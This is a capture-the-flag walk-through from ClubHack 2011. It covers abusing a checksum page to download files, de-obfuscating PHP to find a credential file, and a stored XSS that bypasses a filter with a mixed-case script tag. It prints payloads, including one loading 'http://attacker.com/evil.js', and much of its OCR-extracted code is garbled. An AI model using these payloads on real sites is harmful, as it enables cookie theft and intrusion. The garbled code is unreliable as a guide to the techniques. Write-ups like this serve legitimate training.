ClubHack 2011 preCON CTF walk-through

AMol NAik

http://twitter.com/amolnaik4
http://amolnaik4.blogspot.com

ClubHack 2011, India’s Hacker conference, was held on 3-4 Feb 2011 at Pune, India. They had a pre-
conference hacking competition, called as WEBWAR, whose winners can win a free entry to the
ClubHack event. The winners also qualified to play Treasure Hunt, a physical CTF at ClubHack
conference.

This post is a walk through for this preCON CTF challenge. After registration for the event, ClubHack
provided the link to CTF server. It has a website.
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Download Login ContactUs

Is this site secure?

Hello People, | am Babu! | built this site and am confident
that with my programming skills nothing can go wrong,
Security as well!

Prove me wrong!

Menu

Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Donec lihero. Suspendisse hibendum. Cras id urna Home

Morbi tincidunt, orci ac convallis aliguam, lectus turpis varius lorem, eu posuere nunc justo tempus leo. Donec mattis,

Templateinfo

This was a site having download file and login module. At first, it seems we need to login using Login
page where there will be more to come. Also with download page, we can download other files which
might help us for other attacks or to login into application.

Let’s analyze the login module.
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[Usernatne:

Password:

Login now I

The login page uses MD5 of password string to authenticate.

<html>

<head>

<title>Login Form</title>

<script language="javascript” srec="ndS.js"></script>

<script language="javascript'>

==

function passResponse() {

docuwent . hform.userid.value = docuwent.login.user_temp.value;
docuwent . hform. password.value = MDS(document.login.pass_tewmp.value+"This->.~");
docunent . login.pass_temp.value = "";

docunent . hform. submit () ;

il

/-

</secript>

<link rel="stylesheet"” href="style.css" type="text/css">
</head>

<hody>

<br>

<br>

<br>

<form name="login">

Username:

<input type="text” name="user_temp" size=32 maxlength=32><br>
Password:

<input type="passvord” name="pass_temp"” size=32 maxlength=32><br>
<input onClick="passResponse(); return false;" type="subnit" name="submitbtn" value="Login now">
</form>

<form action="UserLogin.php"” METHOD="POST" name="hform">

<input type="hidden”" name="userid"”>

<input type="hidden" name="password">

</form>

</body>
</html>

This login seems to not vulnerable to SQL injection & Auth bypass. Only possible attack will be Brute
force which again doesn’t prove anything in CTF. So we need valid credentials to log in.

The other page of interest was download.html.
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Download 1 Sidebar Menu
This is for Android. Services 1
Download Services 2
& ¥ Services 3
Download 2

Services 4
This is for Blackberry. Services 5
bt s Services 6
Download 3
This is far iPhone. S;)OHSO"S

Download

The download link looks like this:

http://183.82.241.134/ClubHack/download.php?f=1.bin&oa=cf02eabdlafbcad75abeb5760f16f0e2f4dfd
929

Download page requires 2 parameters: filename & some hash. The hash was identified as SHA1 based
on number on characters. After few tests, it was clear that to download any file we need to know
filename and SHA1 hash. Filename can be guessed but there was no clue on hash creation for particular
file.

Further inspection on download.html reveals execute.php in source as comment. This seems interesting.

<div class="resize bg">
<!--11/11/11 - Downloads should work now, execute.php —-->
<h2> Download <span>1</span></h2>
<p>This is for Android. <br f>
</p>
<p> <a href="download.php?f=1.binfoa=cf02eabdlafbcad4?5abeh5760f16£0e2f4dfd929">Dovnload</a> </p>
<h2>Download <span>Z</span></h2>
<p>This is for Blackberry. <br />
</p>

<p> <a href="download.php?f=2.bingoa=09ceafd04929602fe11644a222a42e7658a4850e2 ">Download</a></p>
<h2>Download <span>3</span></h2>
<p> This is for iPhone. <br f> </p>
<p> <a href="download.php?f=3.bin&oa=1d36461393d8a5da790b35edc620e993a%b3fhSh">Download</a></p>
<p>&nbsp:</p>
<pr&nbsp:</p>

</div>

</div>

When accessed, execute.php shows a form which takes 2 parameters: Command & Filename.


http://183.82.241.134/ClubHack/download.php?f=1.bin&oa=cf02eabd1afbca475abeb5760f16f0e2f4dfd929
http://183.82.241.134/ClubHack/download.php?f=1.bin&oa=cf02eabd1afbca475abeb5760f16f0e2f4dfd929
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Command: |
FileName: I
Fun

The first thought comes to my mind was Command Injection. When tried with “;ifconfig”, it shows me
an error: “Sorry Babu, Test page! Wonly one command is allowed. Try again!”
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Sorry Babu, Test page! Wonly one command 1s allowed. Try again!

After several attempts, it was clear that this page not vulnerable to any injection. It seems to work with
only one command as said in error message. Then | looked for all Linux commands which take filename
as parameter. Commands like cat, less, more, tail, etc,etc falls under such category.

None of these seems working. At the end, there were checksum commands left. The command

“shalsum” seems working with valid filename.

(‘ 9 ‘ 183.82.241.134/ClubHack/execute.php

Command: |sha1 sum
FileName: |1 hin
Run

| I3 183.82.241.134/ClubHackfexecute.php

1.bin

Output:

cf02eabdlafbcad 75abeb5760f16f0e2f4dfd929 1. bin




Hmm!! Now things are pretty clear. Identify the file to download, generate SHA1 hash of it using
execute.php and then use download.php to download it.

Let’s download UserLogin.php as our goal is to get logged in. Following URL used to download it:

http://183.82.241.134/ClubHack/download.php?f=UserLogin.php&o0a=36ea1d4979568e6804b61b846e
d855fe5d6f626¢

Now only thing left was to analyze UserLogin.php, check how it’s authenticating a user and get logged
in. But this is CTF and it won’t be that easy.

UserLogin.php was obfuscated. Quick Google search revealed that PHP obfuscator at
http://www.fopo.com.ar was used. Now we need to de-obfuscate it. Google search didn’t reveal any
online/offline tool for this obfuscation. So only option was left to switch to Manual Mode.

This is how UserLogin.php file looked:
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| used local PHP server to obfuscate it. First step was to change eval() to echo() which will give us back
the code to analyze further. The output looks like this:


http://183.82.241.134/ClubHack/download.php?f=UserLogin.php&oa=36ea1d4979568e6804b61b846ed855fe5d6f626c
http://183.82.241.134/ClubHack/download.php?f=UserLogin.php&oa=36ea1d4979568e6804b61b846ed855fe5d6f626c
http://www.fopo.com.ar/

192.168.221.130/chjtest2.
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$716914e7eddeal55d542b4e8d1bd37e="x62",q5edfd6 30£259¢56 1abfOf5th6c626 Je="165", 06764994 1dI6eaalc3719620835b 556 7="x66"; §pe3529a40d811409b28e45204d9d31e9="
w67",8bcb3301cf650d2e178175ed480d27291="x6d";§i5d1cb 1786 2c75bbeBc6Ib25b656b T 7="x6f", $b3dad034aae354f7£5015623270db 3d 1="x6f", $h7eab2dd6 26 8f13a0b 64876416 6b 3 3fe="
\w6f"; $we37299680a98743718c 1695964bIbaB="6f",$g2f939042c3c5b645c68905a6ac04 7bE="x73", $h3c 1ec35b89186fdc dbacae 30077 1d88="x73", fwcd4 5b7f729eB04b Tfefifdd4c Ib3bde="
&73",8y717e4eal9f462823de3383631601664="x73",§{716914eTeddeal 55d542b4e8d 1bd37e ="\141",$¢5edfd6 30£259c 56 1abfOf5Th6c626 e ="\162", 506764994 1d96eaalc371962083565567 ="
151", $pe3529a40d811409628e45204d3d3 1e 172" 8bcb3301cf550d2178175ed48042729 144" $i5d1cb 17862c75bbcBc6Ib25b656bT ¢ 142", $b3dad4034aae354f7£50156a3270db3d1 =
142", $h7eab2dd6268f13a0b 6487646603 3fe. ="1142", $wc37299680a98743718c 1b95964b9bad ="\ 142", §g2f939042c3c 5b645c68905a6ac047bE="1164", $h3c 1ec35b83186fdcdbacae 300771488 =
164" $wed45b7£729e804b7fefAfdd4cIb3bde. =" 164", §y7 1 7edeaf9f46a823de3383631601b64.="1164", 57169 14e7eddeal55d542b4e8d 1bd37e. ="%73",$q5e dfd6 30£259¢ 56 1abfOf5fh6c626 9e. ="
65", $0676d9941d96e2a0c3719620835b556 6", Bpe3529240d811409b28e45204d9d31e9.="69", $bcb3301cf650d2e 178175ed480d27291.="x35", $15d1cb 1786 2c75bbe8c6Ib25b656b7c7.="
56", $b3dad034aae354f7£50156a3270db3d 1. ="x5", $h7eab 2dd6 26 8f13a0b648764066b 33fe. ="x5f", Bwc 37299680a98743718c 1695964b%ba8 ="x5f", §g2f939042c 3¢ 5664506830526 ac04 TbE ="
x72",$h3c1ec35b89186fdcdbacaed00771d88 ="x72", $wedd 567(729e804b TcffdddcIb3bde ="x72",$y717edeal9f462823de338363 1601664 ="x72",${716914eTeddeald 55d542b4e8d 1bd3Te ="
\145",$q5edfd630£259c56 1abOf5fb6c6269e ="147",$0676d9941d96eaa0c 3719620835b5567.="1145", §pe3529a40d811409b28e45204d9d31e9.="1156",$i5d1cb 1786 2c75bbeBc6Ib25b656b7c 7. ="
145", $b3dad034aae354f7£5015623270db3d1.=" 145", $h7ea62dd6 268f13a0b648764f66b 33fe ="\ 147", $wec37299680a98743718c 1b95964bIbad ="1163";§22f939042c3c 5664 5c68905a6ac 04 7b
1137",8h3c 1ec35b89186fdcdbacae900771d88.="\137", $wedd 5b7E729e804b Tefifdd4cIb3bde. ="\ 160", 857 17e4eaf9f46a823de 338363 1b01b64.="1164",§{716914e Teddead55d542b4e8d 1bd37e.="
x36"$q5edfd630f259¢56 1abfOf5fb6c626 % =" 5f";§0676d9941dI6eaalc3719620835b 5567 ="x5f", §pe3529a40d811409b28e45204d9d3 19 ="x66",§i5d 1cb 17862c75bbeBe6 96256656077 ="
x6e",5b3dad034aae354f7f50156a3270db3d1.="x6e",$h7eab 2dd6268f13a0b648764f66b 33 ="x65", §wc37299680a98743718c 1b35964bIba8 =" 74", §22f939042c3c5b64 56830 5a6ac047bE ="
&72",$h3c1ec35b89186fdcdbacacd00771d88 ="w72", wedd 567f729e804b TefifdddcIb3bde ="x6f", §y7 1 7edeal9f462823de 338363160 1664 ="6f", 57169 14e Teddeal’55d542b4e8d 1bd37e. =
164", 8q5edfd630£259c56 1abfOf5b6c6269e.="1162",$0676d9941d96eaalc3719620835b5567.="\ 147", $pe3529a40d811409b28e45204d3d31e9.="154" $i5d1cb 17862c75bbeBe69b 2566 56b7c 7 =
144", $b3dad034aae354f7£50156a3270db3d1.="\144", $h7ea62dd6 268f13a0b648764166b33fe ="\164", $wc37299680a98743718c 1b95964bIbal ="1141",$32f939042c3c 5664 5c68905a6ac047
\145",$h3c 1ec35b89186fdcdbacae900771d88.="\157", wecdd 567f729e804b Teffdd4cIb3bde ="\163",§y717e4eaf9f46a823de 3383631601664 53", 57169 14e7eddeal55d542b4e8d1bd37e
&5, $q5edfd630£259c56 1abfOf5fb6c6269e ="x65",$0676d9941dI6eaalc 37196208356 5567.="x65"; §pe3529a404811409b28e45204d9d3 1! 61",$15d1cb17862c75bbc8c6Ib25b656b7c7
5", $b3dad034aae354f7£50156a3270db3d 1. ="x5", $h7eab 2dd6 26 8f13a0b648764f66b 33fe. =" 5", Bwe 37299680a98743718c 1695964b%ba8 ="x72";$22f939042c 3¢ 5664506890526 ac04 7bE:
x70",$h3c1ec35689186fdcdbacac900771d88.="x74", $f7169 14e7eddeal55d542b48d 1bd37e. ="\ 144", $5e dfd6 30f259¢ 56 1abfOf5tb6c6 26 9e.="1 160", §06 764394 1d96eaalc 37196 208356556 7.
1164",$pe3529a40d811409b28e45204d9d31e9.="1164",$15d1cb 1786 2c75bbc8c6Ib25b656b7c7.=" 143", §b3dad 034aae 354f7£50156a3270db3d1.="1146", $h7eab2dd6 26 8f13a0b648764£66b 3 3fe. ="
V143", $wc37299680298743718c1b35964b9bal ="\164";§22f939042c3c56645c68905a6ac047bE="1154",$h3c 1ec35689186fdcdbacacd00771d83 1",8£716914eTeddeald55d542b4e8d1bd37e ="
®65",8q5edfd630£259c56 1abfOf5b6c6269e ="w6c",$0676d9941d96eaalc3719620835b5567 ="=5", $pe3529a40d811409b28e45204d3d31e9.="x65",$i5d 1cb 17862c75bbcBc6Ib25b656b 77
\x6c",$b3dad034aae354f7£5015623270db3d1.="x6c", $h7eab2dd6268f13a0b648764f66b33fe. ="6f", $22f939042c3c5b645c68905a6ac047bf ="x6 1", $h3c 1ec35689186fdcdbacaecd00771d88 =
x33",§£716914e7eddeal55d542b4e8d 1bd37e.="1143", §q5edfd630£259c 56 1abfOE5b6c6269e.="\141"; 806764994 1d96eaalc 37196208356 556 143";$i5d1cb17862c75bbc8c63b25b656b7¢
1145",$b3dad034aae 354f7£5015623270db3d1.="\165", $h7eab2dd626 81 3a0b648764£66b33fe. ="\ 156", §22f93904 2c 3¢ 5b645c6830526ac04 7bE 3"$H16914e7eddea055d542b4e8d1bd37e—
\x6f"; $q5edfd630£259¢56 1abfOf5h6c6269e ="x63",§0676d9941dI6eaalc3719620835b5567 ="x6f", §i5d1cb 17862c75bbeBe6Ib25b65667c7 ="%6 1", $b3dad 034aae 354f7£5015623270db3d1 =
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It looks like arbitrary strings used to construct variable and function names. The only way to know it was
to echo back the arbitrary string values and replacing it with original strings in code. The input file looks
like this:

";§0676d49941d96eaalc371962083505567. =
$h7ea62dd6268£13a0b648764£66b33fe. = ";$0676d9941d96eaa0c371962083505567.
$h7eafzdd6265£13a0b648764f66h33fe. = 64";$06760d9941A96eaalc371962083505567.
$h7ea62dd62658£13a0b648764£66b33fe. =" ";$06760d9941d96eaa0c371962083505567.
$0676d9941d96eaalc371962083505567. = 9 8
$£716914e7eddealss5d542b4e8d1bd37e. "\ n"; echo
§S5edfde30£259c561abf0f5fh6c6269e. " n' echo
$0676d9941d96eaalc3719620835b5567. "\ n"; echo
$pe3529a40d311409b25245204d9d3 1e9. "\ n" ; echo
$bch3301c£650d2e178175ed480d27291. "y n""; echo
$15d1ch17862c75bbe8c69b25h65607¢7. " n'; echo
$b3dad4034aae354£7£50156a3270db3dl. "\ n"; echo
$h7ea62dd6268£13a0b648764£66b33fe. "\ n"  echo
$wc37299680a98743718c1b95964h%basd. "\ n"; echo
$g2£939042c3c5h645c68905a6ac047hE. "\ n" ; echo
$h3clec35h89186fdedbacas900771d88. "\ n"; echo
$wcd45b7£729e804b7fecf4fdd4cSb3bde. "\ n";echo "y717e4eaf9L46 hOlb64 = ",
§y717e4eaf9f46a823de3383631b01b64. " n"; $wc37299680a98743718c1h95964h%ad () ;if |
$bcb330lcf650d2&178175&d480d27291($q5edfd630f259c56labefobGCGZ69&(

X X 9y 101% ' A
Sg2f939042c3c5b645068905363c047hf('
$y717e4eaf9f463823de3383631b01b64( FILE 5

$£716914e7eddeald55d542b4e8d1bd37e. =

Y 667) {echo (5pe35295401:1811409b28e45204d9d3 1le9 [$f'716914e?eddea055d5‘l2b‘1&8d1bd37e {
$hSC18635)089186fdcdbacaeBUD'v’71d88 (

fLvPYRi7Ah35
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And output looks like this:



£716914e7eddeal55d542b4edd1bd3 Ve
Sedfd630£259c561abf0f5fh6c62 69e
0676d9941d96eaalc3719620835b5567
pe3529a40d511409hb28e45204d9d31e9
beh3301cf£650d2e175175ed480d27291
i5d1ch17862c75bhe8c69heZShe656b 7

baset4 decode
ereg_replace

file get_contents
gzinflate

rmds

oh_end clean

b3da4034aae354£7£50156a3270db3dl = ob_end flush
h7ea62dd6268£13a0b648764£66b33fe = ob_get_contents
we37299680a98743718c1b95964h0%bad8 = oh_start
g2£939042c3c5h645c68905ab6ac047bf = str_replace
h3clec35b89186fdedbacaed00771d88 = str_rotl3
wed4Sh7£729e804h7fcf4fdd4cShibhde = strpos
y717e4eaf9f46a823de3383631b01b64d = strtok

The final code after replacing the names looks like this:

ob_start () ;if (mdS(ereg replace ("\x5c) 504 x22% 1334 x304 554 x39% 1014 x2d) 1323 x 614 554 x7al 1344 x2b\ 574 x3d\ 135 x2a} 42 x5 517, ™
x28) 42\ x22) 51", str_replace ("\r\n","", file get_contents(§strptok(_FILE_ ,"™\x28")))))=="\x31)64\x65) 71\ x64) 145\ x37\ 71\ x
30%614x32) 664 x631 142 x32) 63 x63) 64\ x36% 144 x38) 67\ x614 1421 x36) 144\ x37\ 67\ x361 1461x31) 66") {eval (gzinflate (baset4 decode
(str_rotl3 ("eIUYGLZIRC1IyIJugxVOwuz75K2 pBUPUFBRJISIVAXCRNXYLvPYRi7Ah3SWIUQVD 12wyTp/ BMQEZWx zr doUJVE1HIRHFvHxHeOYQKXGC It
9Uw/z0jPFot/hzIoy7tEneTGC2ZhOWGVShTELhSC7yWuIStCkdp ZLy7B3 Vs Qb 6 1QSARHQO U2 WLMXP3s I lhagL£3hfbSxeRr+HiWiRKRAZ hL Irxkum
KepK/VQhEnUbgSeUCAXR4HzK1whYBOh1iX1iG1XIKILIGFV1/kSUtGHOS59+L0E4bjc1y6shDsW] lkE9gquuZnt ywiKkEHArhT+dBwiLlvLEqa9MLOkivyGaoG/
SaLliilgr+1lwtOKI+gSYjuSZkwNWkt0cdk3J2BGling+K1glegqVkSpZFegvyOHvAEgSvz7DvCSAeDvEFDy44Ygtifi2 YoegSIRbsQzFMg6I4ZbDFF leX6ad
ZKLOBaB37a+4XaINgKjOItL/ /9VE/ 69JZP 1dBVIkxGB ZwagGe z7OKmH+2UdVnXeGuesBELK828=") ) ) ) ; } strpos (ob_get_contents(),"\x61\71\x
6111464 x64) 664 x38) 67V x37\ 63\ x634 144 x36) 604V x314 63\ x614 65V x331 711 x35) 604 x63) 64} x65\ 62\ x664 63\ x634142\x37167") 20b_end cl
ean{) :ob_end flushi):

Now it’s sort of readable. This code again has one eval() which is doing str_rot13(), base64_decode() &
gzinflate() actions on some input string.

Let’s echo() it.

/ *a9afd68773cd6013a53950c4e2£3ch?7%/ 2><head>

<link rel="stylesheet" href="style.css"
type="text/css"></head><?php Fuser V\x7E V163 \ k651 1 x69\144"] » Spas:s ! = 8

\ 1£

Now it's much clear. The PHP code is taking POST parameters which are username & password. Then
checking it against the file content which has credentials stored. So the file
“\x6d\171\x68\141\x73\150\x65\163\x61\162\x65\156\x6f\164\x68\145\x72\145\x2e\164\x78\16
4” seems to be having credentials. Echo this string to get exact filename.

£

\ ’
e

1 192.168.221.130]ch/tests . php

myhashesarenothere txt

Now let’s get this file.



Sometimes when you work too much, your brain stops thinking in right direction and you keep trying to
the wrong way. | was trying to download this file with download.php which every time says “Invalid file
type”. The error keeps me thinking of bypassing content type to get this file. As its text file we can
access it directly browsing to it.

6 3 ‘ 183.82.241.134/ClubHackimyhashesarencthere.txt
S’

admin:ced4f970£4c0c019e496abbd6502AdL33
test:testabe

Wow, at last we have credentials. Password is hashed so tampering POST request has helped to login.

€ |9 |} 183.82.241.134/ClubHackiFinal.php - |- Google Ll .
D e

This 15 a form to update the Secunty and IManagement team of any cnitical secunty vulnerabilities!

Message:

This is to inform you that I have found a
critical wvulnerability in the
application. Please install the patch
found at ...

Send Mail |

Looks like final stage (Final.php). This is a form which looks like email client and used to send a
vulnerability report to Security & Management team.

This page has hardcoded email addresses in “sendtomails” hidden parameter and the subject also
hardcoded with “Security Updates”.

<head>
<link rel="stylesheet"” href="style.css" type="text/css">
</head>

<form id="Forml" action="/ClubHackkkkkkkkkkkkk/Final.php" method="post">
<br> This is a form to update the Security and MNanagement teaw of any critical security wvulnerabilities!
<hr>
<input type="hidden" value="securityfclubhackctf.com;omairfotffff.con” name="sendtomails"><br>
<input type="hidden"” value="Security Updates" name="sendsubject"><br>
Message: <br><textarea cols="40" rows="5" name="sendnessage">This is to inform you that I have found a critical
vulnerability in the application. Please install the patch found at ...</textarea><br>

<input type="hidden" name="SubmitCheck" value="sent">
<input type="Submit"” name="Forml Subnit" value="Send Mail">
</form>

Both these parameters are validated at server side. Any tampering with these parameters will results in

error.



Change Detected.. Diel

Only Message field is left for user. All the server side attacks like SQL injections, Command/Code
injections were not working here. | tried for 2 days at this level. There were no clues available. | felt like
lost.

The ClubHack tweeted about 2 flag submissions.

clubhack
Wow! 2 flags already submitted for the online part of ClubHack2011
WEBWAR CTF. Let's see who wins treasure hunt.

It's now confirmed that there is a way to get out of this Final.php page. Somehow | couldn’t found it.
One day before the conference, ClubHack released a hint via twitter.

clubhack clubhack
We want the treasure to be hunted, hence a hint for CTF: "Final-ly

some cookies."

2 Dec

Now things get clearer. ClubHack was talking about cookies which related to XSS. Cross-site scripting is
client side bug and never heard being used in CTF where mostly server side bugs are exploited to get
flag. Finally taking the hint as clue, | proceed with XSS flaw and tried to exploit it.

At first, script & img tags were filtered in Message parameter but rest tags were allowed. Using a href

tag with event handler to execute javascript, | was able to access cookies but was not enough to pass
the level.

This 15 a form to update the Secunty and Management team of any critical security vulnerabilities!

Message:

This is to inform you that I have found a
critical vulnerability in the

application. Please install the patch
found at ...<a href="#"

onclick="alert (document.cookie);">Click</a
>

Send Mail I




PHPSESSID=tghdctkkSdajSh1 q07bSIrifmS

It seems like alerting cookie is not going to help. So next step to include malicious javascript. As script
tag was not working, | tried to use bypasses for it. The basic one is to use uppercase-lowercase

combination of letters.

<ScRiPt>alert(1)</script>

This 1s a form to update the Secunty and IManagement team of any critical security wulnerabilities!

Message:

This is to inform you that I have found a
critical vulnerability in the
application. Please install the patch
found at ...<3cRiPt>alert(l)</script>

Send Mail |

It worked.

Next is to include malicious javascript. In this case, | just included a demo script as:

<ScRiPt src="http://attacker.com/evil.js”></script>



This is a form to update the Security and Management team of any critical security vulherabilities!

MMessage:

This is to inform you that I have found a
critical vulnerability in the
application. Please install the patch

found at ...<3cRiPt
src="http://attacker.con/evil.js">
</script>

Send Mail |

It worked and gives away flag string and link to submit the flag.

Sending Email ..

Send to: security@clubhackctf com; omair@ctiif com

Subject: Security Updates

Message: This is to inform you that I have found a critical vulnerability in the application. Please install the patch found at ... Array ( [0] ==
hitp:/fattacker. comfevil s )

“Well Done Babul The Flag was supposed to be sent to the URL you typed in, nevertheless. ..
The Flag 1s: OM3n:AlllndiaRace

Thank You for playing the CTF, submit your flag at
https:ifdocs. google. comfafniiconsulting com/spreadsheetimewform?hl=en_US&formkey=dGEwdVF QcHVHjVIRDdrVESHb3RK b3c6MMQ

The file for the treasure hunt can be downloaded from http://183.82.241.134/treasurehunt-ctf. 7z

ClubHack has replied one of my tweets after the flag submission.

“ @clubhack

@amolnaik4 Wow, Amol you are our first
Indian winner. Your entry to the event is
free now. See you in treasure hunt
tomorrow.

Silver Bird Favorite Retweet © Reply

After 3 days of efforts, it paid well. | enjoyed ClubHack event a lot. Thanks to ClubHack team & NIl for
creating this CTF.

Mail me your comments, suggestions to amolnaik4@gmail.com


mailto:amolnaik4@gmail.com

